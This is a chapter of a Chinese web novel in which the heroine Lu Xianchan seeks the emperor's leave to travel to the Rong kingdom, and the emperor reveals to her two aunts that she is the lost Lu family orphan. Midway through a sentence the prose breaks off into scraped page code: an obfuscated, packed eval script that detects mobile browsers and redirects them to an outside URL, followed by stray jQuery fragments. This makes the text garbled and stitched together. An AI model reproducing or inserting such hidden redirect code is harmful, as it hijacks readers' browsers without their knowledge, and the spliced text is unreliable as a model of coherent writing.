56. 朕初见她便浑身不得劲!

作品:《女贼休走!

    夜深,醉梦楼。


    陆衔蝉点了好大一桌美酒佳肴,宴请皇帝,不曾想长公主也跟了来,她替二人斟满酒…上了年份的梨花酿,甜香瞬间溢满整个雅间。


    “今日宴请陛下,是有一事,想请陛下准许。”


    皇帝被酒香得眼睛发亮,他受邀来此兴致不错,乐呵呵道:“但说无妨,但说无妨!只要你不将天捅个窟窿,朕无有不允。”


    长公主诧异地看皇帝一眼。


    “晚辈想要去戎国。”


    陆衔蝉将酒壶放在手边,端起酒杯敬酒:“如今迎和宫案已明,王平之死、死士刺杀丁寺卿,自有殿下和丁寺卿来查…晚辈想,闲着也是闲着,不如替陛下走一遭戎国。”


    “一是去寻苏赫所言亲卫,二是走一趟万里戈壁,去看戎国城池模样、风土人情,看看机关上,能否对日后大军攻城有所帮助。”


    “兴许还能做出个…助大军横跨戈壁的机栝。”


    皇帝原本兴致不错,听见陆衔蝉这话变了脸色,他将酒杯重重撂下:“你不必继续说,朕不准。”


    “苏赫见过你的脸,弥赫在京城质居八载,谁知他有没有去看过你?机关匠到了戎人的地盘,他们还能放你回来?”


    “机关哪里都可研制,你就待在京城!”


    长公主轻笑一声,她将杯中酒水饮尽,又自己倒满:“阿兄何必拦这孩子?皇宫的城墙都挡不住她,你以为自己能拦得住她?”


    “先前奉朝馆,嫂嫂设计的捕网,整整四张都没网住这孩子,那之后我寻来褚卫那小子,专门改良了捕网。”


    “武林盟弄得那劳什子…武林轻功榜,榜首凌雁刀,第二机关匠,第三褚卫。”


    “京城兵马司的人昨夜试过了。”


    长公主晃晃酒杯:“那网的极限是捕住第三,若这孩子不想留,咱们谁都挡不住她…阿兄让她去便是,这孩子聪慧,放手让她去查,兴许真能查出些什么。”


    陆衔蝉失笑,她举杯:“是,殿下懂我,若陛下不同意…晚辈便偷溜出京,保准陛下找不到。”


    “就像你三年前假借闭关为名,偷偷溜去雍州?”


    “别以为朕不知道!”


    皇帝嗤笑一声,他神色认真起来:“朕不想伤你,但是孩子,你若是执意如此,为了你性命着想,朕便不得不对你动手了。”


    “两月之期未过,你轻功再好,也出不得这雅间。”


    “所以这小家伙将宴席定在我这,我这楼里上下都已服过解药,就算阿昶兄长用了东陵花散,也带不走她。”


    门口传来一道沉稳女声。


    雅间木门被人推开,言玉一席青衫站在门口,她手中拿着柄合鞘的刀,看刀柄,是她的惯用兵器——镇关尺。


    “兄长打得主意,注定要落空了”,她说。


    “阿玉。”


    长公主取了新杯,笑着朝言玉举杯:“今日这酒真真不错,你快来尝尝。”


    皇帝脸色不佳:“这孩子又是怎么说动了你?”


    言玉在陆衔蝉身侧落座,她接过酒杯浅嗅,满意地同长公主点点头:“说动我有什么难的?只消说查雍州旧事,我自然全力支持。”


    “阿渊一家尸骨至今不曾寻得,阿絮死得不明不白,阿昶兄长查了这么久,半点头绪皆无,这孩子忙活几月,便能逼得那幕后之人出手…我说句不好听的…”


    言玉淡淡道:“她可比兄长有用多了。”


    陆衔蝉心头一沉,她提了酒壶给言玉续酒,打圆场道:“晚辈少时曾见过那些黑衣人,反推故事…总是更容易些。”


    “反推…”


    言玉的酒杯停在唇边,她扯了扯嘴角:“你当我们这些人,当年没有反推吗?剥丝抽茧,乱麻理线,那也得先寻到线头才行。”


    “兄长何必拘着陆少侠?”


    她淡淡扫了陆衔蝉一眼:“她比兄长手下那些小家伙好用多了。”


    “有用…好用…”


    皇帝黑着脸半晌,忽然笑了:“你们知道她是谁吗?”


    “陛下!”


    陆衔蝉起身欲拦,却长公主和言玉一左一右按住肩膀,扑腾一声坐回椅子。


    言玉微微挑眉,玩味笑道:“陆少侠慌什么?你既求我帮忙,何不与我坦诚相待?我倒是好奇,陆少侠到底是个什么身份,还需要藏着掖着。”


    陆衔蝉无奈叹气,她疲惫道:“陛下,您答应过我…”


    “哈!”


    皇帝拍桌:“朕没答应过!”


    他朝陆衔蝉吹胡子瞪眼睛,指着她报复般说道:“你们仔细看看,这是朕丈人的孙女,阿旻的侄女,阿渊的遗孤!青州陆家、安国公一脉最后的独苗!是你们嫂嫂、阿姐要偷来给朕养的女儿!”


    “这是小阿蝉!”


    “你们想查雍州的事,行,但不能让这孩子去涉险!”


    陆衔蝉肩上的两只手同时抓紧,又松了松,只维持在‘不许离凳’的力道,似是怕抓疼了她。


    她垂着头满心怅然,万分后悔攒了今日这个宴席:“我去与别人去有何区别?雍州一战打了二十年,死伤不计,谁家的孩子不是孩子呢…姑父。”


    皇帝赌气般别过头去,豆大泪珠从胡须尾端的尖角飞落,划出一道弧线,砸在衣摆。


    “阿兄确定吗?这是阿蝉?”,长公主不敢置信道。


    皇帝自顾自饮了盏酒,他撇撇嘴:“迎和宫那夜我初见她,便浑身不得劲,恨不得钻到书案下头去,跟我与阿旻成婚次日见着阿渊一样!”


    “她和阿渊神色极像,看负心汉似的看朕!”


    “朕那时怀疑她是江南世家派来,是摩罗旧势力的暗探,又或是西人间谍…便让阿甫去查,阿甫从武林盟柴刀那套出了话,他说阿蝉后腰应该有道刀疤,两边深中间浅,正好隔着他的三根手指。”


    “暗牢里,朕让人看过。”


    言玉捧着陆衔蝉的脑袋一转,拨开右侧鬓角发丝:“是阿蝉,阿瑶你看,这红色小痣…”


    长公主伸出手,袍袖顺着胳膊滑向手肘,她如昨夜一般轻轻掐了陆衔蝉的脸,只是眸中神色截然不同——小心翼翼的。


    “阿蝉?”


    “这眉眼…仔细看是有几分像阿渊,性子…像又不像,他向来直来直往,在这般年纪的时候,眼里可没那么多弯弯绕绕。”


    “她像她阿娘!”


    言玉面色铁青,眼底却泛起泪花:“阿瑶莫忘了她阿娘是谁,云大军师那般人物,走一步能算百步的家伙,看一眼便知你在想什么…”


    “我见她时便觉得眼熟,也着人去查过,只是年纪对不上,加上当年我们在雍州城南寻到过断枪…我以为她是云家远支的孩子,故意取了陆姓来…”


    言玉顿了顿,没有继续往下说。


    她总结道:“她聪慧像云家人,性子却没她阿娘半分的温润通透,反而随了陆渊那凶兽。”


    “是啊…”


    长公主喃喃:“明明这么多相像之处,我还猜测过,为何从未想过确认?”


    “我知你是从雍州而来,阿岫也曾与我说过些许,当时只是怜你孤苦伶仃、无依无靠…如今知道苦痛在自家孩子身上…心却是好疼。”


    长公主双手掐住陆衔蝉脸蛋,往两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182330|185988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边扯,她喉间暗藏哽咽:“你这小兔崽子,为何不与我们相认?”


    “疼,殿下…”


    “叫姨母!”


    这下她又改用手掌心挤揉陆衔蝉的脸了。


    “唔母。”


    陆衔蝉的脸已麻了,说不定还发了肿,她声音都被挤得变了调:“您别揉厄…”


    下一瞬,她被长公主狠狠揉进怀里。


    “小兔崽子!”


    长公主又哭又笑,她骂道:“你还活着呀!”


    骤然陷入温暖怀抱,陆衔蝉有些不知所措,她试图挣扎,推了一把,却好似没什么力气。


    有种,莫名其妙的安心感。


    ……


    言玉轻拍长公主的背,递了帕子,她把陆衔蝉从长公主怀里薅出来,埋怨道:“阿蝉,姨母理解你不去寻你姑父…可姨母呢?你幼时,姨母与你相处多年,你为何不来寻姨母?”


    三双眼睛都盯着陆衔蝉。


    陆衔蝉垂下头去,避而不谈:“十六年五月我到京城时,您早已去雍州了,您在雍州城守了八年,而我连雍州都进不去,何谈寻您?”


    言玉叹气:“行,那我再问你一个问题。”


    她停顿片刻,略有些忐忑地问:“柴刀说,雍州城破之后,你跟着尺玉回了雍州…你阿絮姨母就在城南,你见着她没有?是不是你和尺玉敛了她的尸身?”


    陆衔蝉想起她扑在血泊里时,手掌前的青色袍角,脸色瞬间变得惨白。


    她摇摇头:“不是我和嫂嫂。”


    “我落后嫂嫂半天,和她并不是同时到雍州城,她应当没见着阿絮姨母,我看到了,不过只见着阿絮姨母的…半边身子。”


    “那里尸体堆成了小山,阿絮姨母或许”,陆衔蝉艰难道:“在那里边。”


    言玉颓然坐回椅子,她哆嗦着给自己倒了酒,只饮到一半,剩余一半尽数洒在桌上:“没有…那里头没有阿絮,整座城我们都寻过…五万八千六百二十四人…当年你表兄阿乾领着三千禁军到雍州城,他们或许不认得你和你阿兄,却绝不会不认得阿絮。”


    “不是你们收敛得,又会是谁?”


    “难道还会是那幕后之人吗?”


    幕后之人敛陆家人尸骨,是为栽赃陷害,那他收敛言絮尸身又是为何?再说敛尸哪有只敛一半的?


    陆衔蝉心中忽然有个离谱猜想:‘言絮姨母或许没有死在城南。’


    那么她会在哪里?


    将军府、城南医馆。


    戎人败退之后,活下来的将士侠客们打扫战场,发现了还活着的言絮姨母,将她抬走救治。


    下半身齐断,那么重的伤,她根本不可能自己离开,城中没寻见尸身…而她可能在的地方,都不曾燃过大火。


    所以幕后黑手与言絮姨母相识,那人带走了她…


    阿爹那会儿尚能吓退戎人,如何会被轻易杀死?那人能得手,可见他与阿爹也是旧识。


    他与言絮姨母、阿爹有交情…他手中有晏字令牌,那时晏字令牌的唯一用处,便是走商道去摩罗旧城,做通关之用…城破时他不在京城,或是身在雍州…或是摩罗旧城。


    不知幕后黑手是否看过苏赫供词,若看过,那护卫危矣,他定会不遗余力将杀手塞进使团队伍中。


    “苏赫口中护卫,乃是雍州之案关键人证…”


    陆衔蝉起身,后退半步,她撩开衣摆跪下,朝着皇帝稽首而拜:“臣,要往戎国一探,望陛下成全。”


    雅间内一片寂静。


    半晌。


    皇帝问:“孩子,你是在逼长辈们对你动手吗?”